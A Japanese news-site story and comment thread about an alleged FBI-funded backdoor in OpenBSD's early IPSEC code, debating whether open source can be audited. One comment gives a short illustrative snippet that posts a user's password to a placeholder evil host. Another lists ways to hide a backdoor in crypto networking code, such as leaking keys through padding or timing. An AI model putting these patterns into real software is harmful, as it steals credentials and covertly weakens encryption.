
FBI、OpenBSDのIPSEC開発者に金銭を送りバックドアを仕込んでいた? 55
ストーリー by hylom
可能性という話 部門より
可能性という話 部門より
tamo 曰く、
OpenBSDの指導的開発者Theo de Raadt氏がGregory Perry氏からの私信を公開し、Perry氏が最初期のIPSECコードにバックドアを仕込んでいた可能性に注意を喚起している(本家 /. 記事)。
そのメールによれば、Perry氏はFBIの暗号関連機関とNDAを結んでOpenBSD Crypto Frameworkにバックドアや暗号鍵を漏らすためのサイドチャネルを埋めたらしい。彼は他にも数名の開発者を挙げ、同様にFBIから金銭を受け取って細工をしているのではないかと指摘している。
de Raadt氏は、Perry氏の活動が約10年前で途絶えていることから現在のコードに残る影響は不明だとしている。しかし、OpenBSDのIPSECスタックが各所で使われてきたことを考えると、FreeswanやOpenswanといった別系統のIPSECスタックを検討することも無意味ではなさそうだ。
なお、そのメールで名指しされたScott Lowe氏は自身の疑惑を完全に否定している。
バックドアの余地は (スコア:5, 参考になる)
Damien Miller 氏によれば、暗号そのものは恐らく安全であろう、とのことです。
http://permalink.gmane.org/gmane.os.openbsd.tech/22559 [gmane.org]
何かを仕込むとすればネットワーク関連のコードで、
鍵データがパディングに混入するようにしたり、
秘密データに隣接する部分を読むとき「うっかりはみ出す」ようにしたり、
mbuf を「うっかり再利用する」ようにしたり、
タイミング攻撃によるサイドチャネル (2000年当時はあまり知られていなかった) を用意したり
といった可能性が思いつく、と書いています。
そのうちの幾つかは対策が取られていますが、
すべて疑念を晴らすには地道なコード監査以外ないようです。
Re: (スコア:0)
フレームの元だけどこのバックドアも含めてソースが配布されていたのだろうからオープンソースならコード監査が出来るから安全なんて神話だよね。
Re:バックドアの余地は (スコア:3, 参考になる)
ソースコードを一通り眺めて不正なコードがないことを確認
なんて講師が言うので、
そんなの手に負えないと思うが皆どうしているのかと聞いたら
笑われちゃいました。
そういうことがあったので、ソースコード監査は頭から疑ってます。
だいたい、ソースコード監査が有効に機能するなら、セキュリティホールどころかバグだってないはずですが、実際にはありますからね。
Re:バックドアの余地は (スコア:2, 参考になる)
Debianのopensslパッケージに欠陥発覚 [srad.jp]みたいな事例もありますしね。
Re: (スコア:0)
今にして思うとこれミスだったんですかね。
故意に仕込んでいたのがバレてしまった可能性もあるのでは。
Re:バックドアの余地は (スコア:2, 興味深い)
本家UNIXにケン・トンプソンが仕込んだバックドアも結局十数年後に本人が公表するまで誰も気付かなかったですしねえ。
現代のオープンの基準からすると目の数は少なかったとは思いますが。
Re: (スコア:0)
"Trusting trust" の話なら、あれは「ソースコードをいくら眺めても発見不可能なバックドアを作れる」っていう話ですよね。
目の数の多寡という問題ではなく、コード監査だけじゃどっちにせよダメだよね、っていうことではないかと。
Re:バックドアの余地は (スコア:2, すばらしい洞察)
公開されているから安全というのは短絡的だと思う。でも、オープンソースだからこそ、ライセンス面などで安全性の検証可能性のハードルが低いとはいえる。
ソースの公開によって確保できるのはコードの検証可能性であり、この検証可能性によって安全な利用への道が”担保”されるだけで、保証はない。しかし、今回の指摘によって誰しもが当該コードを検証することは”可能”である。(クローズドソースなら契約上、検証さえできない場合がある。)少なくとも、検証を必要とする人間・組織がコードを直接検証できることはオープンソースの強みだろう。
もちろん検証する能力や資源は別の問題としてあるが、これはクローズドソースでも当てはまる。
Re:バックドアの余地は (スコア:2, すばらしい洞察)
>オープンソースだからこそ、ライセンス面などで安全性の検証可能性のハードルが低いとはいえる。
検証自体のハードルは低いかもしれない。
でも、その検証の結果、まずいとなった場合、
それに対応できるか?というのが、結構、面倒だと思うよ。
細かなパッチ程度で対応できたとしても、それが正式にコンパイル
され配布されるためのテストを受けて、さらにいくつもの配布先で
対応するわけだろ?
>少なくとも、検証を必要とする人間・組織がコードを直接検証できることはオープンソースの強みだろう。
そういった検証を自分の責任でやらなあかんのかよ、
しんどいこった...というユーザの方が多いと思うね。
プロプライアリティなシステムは、その面で楽だよな..
という風に考えられている様に思う。
どっちにせよ、バックドアだろうが、問題の数とそれを
潰す工数が少ない方が好まれるとは思うけどね。
send-prすればいいだけですが(Re:バックドアの余地は) (スコア:0, フレームのもと)
send-pr(なり)すればいいだけだと思うんですけどそうではないのですか? 1日以内に開発者が片付けてくれます。
これがMSだったら、PRしても「リリースは約束できない」とだけ回答が帰ってきて、脆弱性が残ったままとなりZero Day Attackを許してしまうだけではないのですか?
6 月上旬にGoogleの研究者のTavis Ormandy氏がWindows XPのゼロデイ脆弱性を公開した際にMicrosoftから非難を受けているわけですが。
Re:send-prすればいいだけですが(Re:バックドアの余地は) (スコア:1)
>1日以内に開発者が片付けてくれます。
正式なパッチとしてあがってきて、それの信頼性とかを
確認するのに1日で済むとしたら、それは凄いね。
ところで、結構、動作確認とかって時間がかかるのだけど、
世界中の多くのシステムでそれを1日でやりとげる機構ってあるわけですね。
教えて欲しい所です。
もちろん、開発者が実装者/運用者の多くと連携をとって
やってくれるわけですよね?
そうでなければ、「あ、こいつもなんかやっている可能性あるな、
じゃ、少なくとも今まで動いてきた前のでいくね」ということになる。
それほど実際のサービス提供しているシステムでの稼働確認を
1日やるのか?少なくとも1日程度しか動かしていないなら、
相手にされない時があるからね。
Re: (スコア:0)
MSがなんでも意地悪で直さないとでも思ってる?開発能力が低いとでも思ってる?
少なくともMSの人は品質保証してコードを出すんだよ。その負担が分からないのは気楽でいいね。
Re:send-prすればいいだけですが(Re:バックドアの余地は) (スコア:1, フレームのもと)
だからといって、責任とってくれるわけじゃないけどね。
いや、高額な契約を結べば責任とってくれるのか?知らないけど。
負担がわからないとか、それこそ、金払っているから分かるつもりないし。
意地悪じゃなくて、怠慢。社畜乙。
Re:send-prすればいいだけですが(Re:バックドアの余地は) (スコア:1)
>怠慢。社畜乙。
ま、何百かのシステムでの検証とか、簡単に出来るのでしょうね。
そういう人材はほしいですな。
サーバ貸しもやっているけど、2400台に載っている様々なシステムについて、ちゃっちゃとやってもらえたら、嬉しいね。
そういった工数を消費しつつ、仕事しているだけなわけで、負担とかなくして出来る程に、簡単なんだろうなぁ...www
>負担がわからないとか、それこそ、金払っているから分かるつもりないし。
金額に見合った成果物なのかな?という疑惑が結構ある。
同じパッチだとかいう触れ込みがあって調べてみたら違っていたとかね。
その差は何?コンパイラが違う?で、そのコンパイラで作ったものの実績は?え?...で潰れちゃう程度のお方が多いのが、まだまだダメなんだなぁという印象。
安全性を説明できない、この程度の検証をやりましたというのが示されていないケースがあるよね。
そういった程度のモノの提供が目立つので、迂闊に採用できない。
名の通ったベンダーなら、「あそこが間違えたなら仕方ないし、それは現場の問題ともしずらい」という面がある。
新参者が性急なことをコソっとやるから、カドがたつんだよね。
>高額な契約を結べば責任とってくれるのか?知らないけど。
責任はとる他に、落としどころに落とすというのがある。
LinuxとかFreeBSDとか、そこらへんがてんで出来ていない。
1日で出来るとかいっているバカもいますが、それは「あんたのサーバであんたのサービスなら勝手にその拙速パッチでもあてていたらええ、わしとこのは、そうじゃねぇからなぁ、一昨日おいで」ってなところでしょう。
Re: (スコア:0)
性急に検証しなければならない、そして検証できたなら管理下にあるPCにはパッチ当てればいいんじゃない?責任の範囲はその範囲でしょ。
一般ユーザーというより管理者的な立場からの視点だけど、めんどくさいと思うユーザーはオープンだろうが、クローズドだろうが他人任せなんだからほっといていいと思う。
Re:バックドアの余地は (スコア:1)
>性急に検証しなければならない、そして検証できたなら管理下にあるPCにはパッチ当てればいいんじゃない?責任の範囲はその範囲でしょ。
その緊急度の検証は?
そういった判断をする必要があるわけなんだよね。
まさに、各自、ばらばらになっちゃうわけである程度の規模では使えないOSってことになるのだけどね。
>めんどくさいと思うユーザーはオープンだろうが、クローズドだろうが他人任せなんだからほっといていいと思う。
そして、品質としては保証されないので、「ま、動いた実績があがったらあたてみるかな?」というのが、運用や保守管理者の考えになるわけなんだよね。
Re: (スコア:0)
これは、プロプラならベンダーが責任もって検証してくれそう(OSSだとコミュニティが責任持ってくれなさそう)という事なのか、ベンダーの責任に出来る(OSSだとコミュニティじゃなく選択したほうの責任にされる)という事なのか。
それとも検証以前に、どこの誰ともわからん奴のコードが入り込まない(関わる社員の素性は明らかで監督もされている)が、OSSだとどこの誰とも素性のわからん、責任も持たず監督もされてない奴が入り込め、得体の知れなコードがコミットされるのを防げない、という話なのか。
OSSだと
Re:バックドアの余地は (スコア:1)
>そんなこんなを考えると、
ま、単純に言えば、顧客説明だな。
どこの馬の骨ともわからない団体のわけのわkらん奴が描いたであろう、検証されていない上に悪意を防げない程度の試験と検証しか経ていないというパッチと、「○○社が提供している」パッチという比較になるわけな。
>それよりも自分でコードなり安全とする検証結果なりを検証することに比べたら五十歩百歩に思えたりする。
その50歩の差が、世間では重要だったりするんだ。
そして、自分で検証してそのコードがどうだめで、どういった危険があるか?を、いくつものシステムについて調べていくというのを、出来るのかい?
このコードは問題だ...それを複数の顧客にちゃんと達意で示せないと「そんな、どこの馬の骨とも(中略)(パッチは当てられないな」で終わりなんだな、で苦労も一発でふっとぶわけだ。
最近はそれなりに、「RedHat社が当てろとか言っているパッチです」ということで、通りやすくなっているけどね。
Windowsは、MSのパッチなら当てようか?という意識が結構ある。これはなにもMSのパッチを信用しているからではないんだ。
CodeRedやNimdaといった「当てなかったから酷い目にあった実績」があったからであって、unix/Linuxにはそれに比肩する程の規模の被害実績がないってことなんだけどね。
Re: (スコア:0)
検証なんて、そもそも、結果を期待してはいけません。基本的にテストセット作って、新バージョンが、旧バージョンと同等の動作をするかどうかしか確認していないことが、ほとんどです。当然、テストセットで網羅できていないケースは、数多くあり、制度を期待しては、いけません。バージョンアップに伴うバイナリーモジュールの検査なんて、そんなものです。
OSSの場合、でかいパッチが嫌われるのは、内容を把握しきれないことや、把握するための労力が大きいためです。コミュニティ内で、神のごとく信頼されている人物が、モジュールごと入れ替えるような大規模パッチを投稿してマージされた場合、悪意でバックドアを巧妙に仕込んだとしたら、検出することはかなり難しいと思います。これまでにも、多数のパッチを提供して、いつの間にか、議論の余地がある新機能を追加されていたなんてことも、よく聞く話です。
Re: (スコア:0)
これって、OS全体のソースの量的規模が大きすぎてチェックする人的資源のほうが届かないため、指摘されない限りは不正なコードを仕込み放題ってことなんですかね?せっかくのオープンソースも、ホンネとしては機能していないってことでしょうか。
Re:バックドアの余地は (スコア:2, すばらしい洞察)
(リスクが)0か0でないか、でいえば0でないわけですが、作者を完全に信頼するしかないレベルと、作者やcontributerも「見られているぞ」というレベルではコトの難易度が全然違うでしょう。そういう意味での相対的な安全なわけで、絶対的安全なんてもともとどこにも存在しない。
極端な話、以下のような見え見えなコードはすぐバレるわけで。でも、トロイの木馬ってだいたいこういう構成ですよね。
password = getPasswordFromUser();
app.do_auth(password);
http.post("http://evilhost.example.com/passwordstealer.pl", {"password":password});
ふと思ったんだけど、監視カメラと同程度の代物なのかもしれませんね。全部のカメラを見ていることはできないが、見られている/記録に残っているということ自体が抑止力になると。
Re: (スコア:0)
> 作者を完全に信頼するしかないレベル
その考え方は間違いです。バイナリ提供の場合は疑わしいものとして扱います。
一方、オープンソースを疑わしいものとして扱っているでしょうか? そこに油断があると思いますよ。
Re: (スコア:0)
横からですが。
バイナリの危険性は、怪しい処理が仕込まれているならアンチウィルスソフトウェアのクラウドによるモルモット実験である程度分かりますが、完璧には無理です。
また、バイナリは、故意の脆弱性によるバックドアが仕込まれていないかどうかの検証を簡単にはできません。
# それでもセキュリティ会社は必死に脆弱性を見つけていますけどね
オープンソースは、怪しい処理が無いかの確認や脆弱性探索は容易なので、静的検証(Coverityなど)・動的検証(Valgrindなど)が行われたり、企業のセキュリティチームが中心となって人力でチェックしたりされています。
けれども、未チェックなソフトウェアや、チェッカで危険性が検出されたまま放置されているソフトウェアも多いのが現状。署名無しでソースコードのtarボールが公開されているということも少なくなったとはいえまだまだありますね。
Re:バックドアの余地は (スコア:2)
OpenBSD の場合は、
誰かから ok をもらわないと cvs commit もできませんから、ある程度は防いでいるとは思いますし、
新規に知られるようになった exploit 手法についても source tree 全体を見てまわりますが、
基本的に開発者を疑っているわけではないので、ご期待のレベルには達していないかもしれません。
http://www.itwire.com/opinion-and-analysis/open-sauce/43995-openbsd-ba... [itwire.com]
iTWire によると、今回のメールをきっかけに audit していて 2 つ以上のバグが発見されており、
そうしたバグの「考古学的な」調査も続いていくようです。
Re:バックドアの余地は (スコア:2)
>基本的に開発者を疑っているわけではないので、ご期待のレベルには達していないかもしれません。
言い方が悪かったです。
Theo としてはむしろ、開発者を (友情に基づいて) 信頼しているからこそ、
それを金で壊そうとしたのだとしたら許せない! という意見なのでしょう。
http://permalink.gmane.org/gmane.os.openbsd.tech/22642 [gmane.org]
大丈夫でしょう (スコア:1, 参考になる)
Re:大丈夫でしょう (スコア:1, 参考になる)
> 試しにanonymousでそういうコードをcommitしてみたことがあるけど、
そもそも OpenBSD はそういう形態じゃありません。
Theo が認めた人間にしか commit 権限はありません。
> パートごとに主要開発者いてコードを子供のようにかわいがっていますから、怪しいコードがcommitされてきたら一発でrejectでしょうね。
今回のは、開発者自らが怪しいコードを commit したという話ですが。
Re: (スコア:0)
>> 試しにanonymousでそういうコードをcommitしてみたことがあるけど、
> そもそも OpenBSD はそういう形態じゃありません。
というかanonymousでもソースをコミットできるってどんなOSSプロジェクト? ど素人がウィキペディアか何かからの類推か何かで大ボラこいてるとしか思えないんですが。
これにプラスモデがつくんだからスラドからはつくづく開発者がいなくなったもんだと思いますね。
Re: (スコア:0)
ハリセンボンが怖くて使っていませんでした (スコア:2)
あのハリセンボンが怖くて使うのをやめました。
良かった様な?
今は、ギター弾いてやがるぞ。
もっと前向きな話をしましょうよ (スコア:2, おもしろおかしい)
Re:もっと前向きな話をしましょうよ (スコア:2)
yebo blog [blogspot.com] には元 FBI の人のツイート [twitter.com]がリンクされていますが、
それが本物なら、FBI としては「失敗した」という認識らしいので、もうやらないんじゃないでしょうか。
信頼は取り戻せるのだろうか (スコア:1, 興味深い)
長きに渡り、デフォルトインストールでのリモートセキュリティホールは2つだけ (スコア:1)
でも、お国の仕込んだバックドアがいくつか隠されてるよ、ってか
はてさて… (スコア:0)
こういうことがあると、そのメール自体の信憑性が問われるね。
・Theo de Raadt氏が全て正しい
・Theo de Raadt氏が何らかの目的で嘘を付いている
・Theo de Raadt氏が騙されている(偽装メール)
はてさて、どうなるかな。
Theo de Raadtの正義とは (スコア:3, 興味深い)
Theo de Raadt氏は、MLでの口がわるくケンカぱやい男だけれども、イラク戦争への反戦表明するなど、筋の通った男であり、彼ほどに世界の平和とコンピュータの安全を望んでいる男はいないでしょう。
しかしそんなオープンソースかいわいの評判とはうらはらに、彼はイラク戦争への反戦を表明した際にはDARPA(アメリカ国防総省の補助金)、200万ドル(約2億円)の打ち切りに遭った [srad.jp]という過去があります。OpenSSHの開発の際には、輸出規制を回避するためにカナダで開発を行なうなどしていたという事実もあり、国防総省からは良くは思われてはいなかったようです。
ですので、彼が、アメリカの危険な公権力に不信感を持っており、常にそれを警戒したり世間に広めていくというスタンスがあるのは当然のことといえます。
この件にしても、Wikileaksの件にしても、アメリカの公権力, そしてjusticeとはというのは、足が地につかず、どれほど危険なものなのであろうかと常日頃感じます。怖い国ですよね。
ソースこそが正義 (スコア:2, 興味深い)
ソースコードの変更履歴があるはずなのに、ソースコードよりもメールで寄せられた
「お話」を信じるようになったら、ソフトウェア開発者としてはお終いでしょ。
Re:ソースこそが正義 (スコア:3, 興味深い)
Scott Lowe 氏と同時に名前を挙げられた Jason Wright 氏は
コードの方向から自身の疑惑を否定 [gmane.org]していますね。
Theo de Raadt 氏も、今回の公表はそうやって疑念を晴らす機会のためにやったのであって
メールをそのまま信じたわけではないのだと思います。
考えてみると、こうやって公表しておけば、あとから Greg Perry 氏が
「俺だいぶ前に Theo に自白したのに、奴は OpenBSD の名誉を守ろうとして握りつぶしたんだぜ」
などと言うことはできませんから、まさに open かつ効果的な対処だったのではないでしょうか。
(単に FBI を敵視していただけという気もしますが……)
Re:Theo de Raadtの正義とは (スコア:1)
単に闇にもぐってるだけな国の方がよっぽど沢山あると思いまが。
Re: (スコア:0)
s/男/漢/g;
Re:はてさて… (スコア:2, おもしろおかしい)
全ては「もう、Theoたんたら〜」で済ませてOK。
# お祭り男なんですよ
Re: (スコア:0)
「みんなもっとコード読むようにしてよね、すねちゃうぞ」
# デレしかなかった...
Re: (スコア:0)
Theoたんを今までよく知らなかったけどググッて今知った。
なるほどお祭り男W
# え、おもしろおかしいモデ?参考になるじゃないのかっ
Re: (スコア:0)
的扱い
仮に事実なら (スコア:0)
マイケロソフトやナップルとか確実にドコデモドアが仕組まれいてもおかしくないな
Re:仮に事実なら (スコア:1, フレームのもと)
もう、やってるよ。OpenBSDを叩いている連中はWindowsでも使っておけばいいと思うよ。
米Microsoft,「Windows Vista」のセキュリティ機能でNSAの関与を認める
http://itpro.nikkeibp.co.jp/article/NEWS/20070118/258990/ [nikkeibp.co.jp]
Re: (スコア:0)
Re: (スコア:0)
iphoneやandroidには、appleまたはgoogleによる遠隔操作機能がありますからね。
Re: (スコア:0)
つまり・・・。
現実 (スコア:0)
能動的にセキュリティーホールを見つけるのは、利用者ではなく攻撃者という現実
攻撃されて初めて気がつく、攻撃者は立派なデバッガー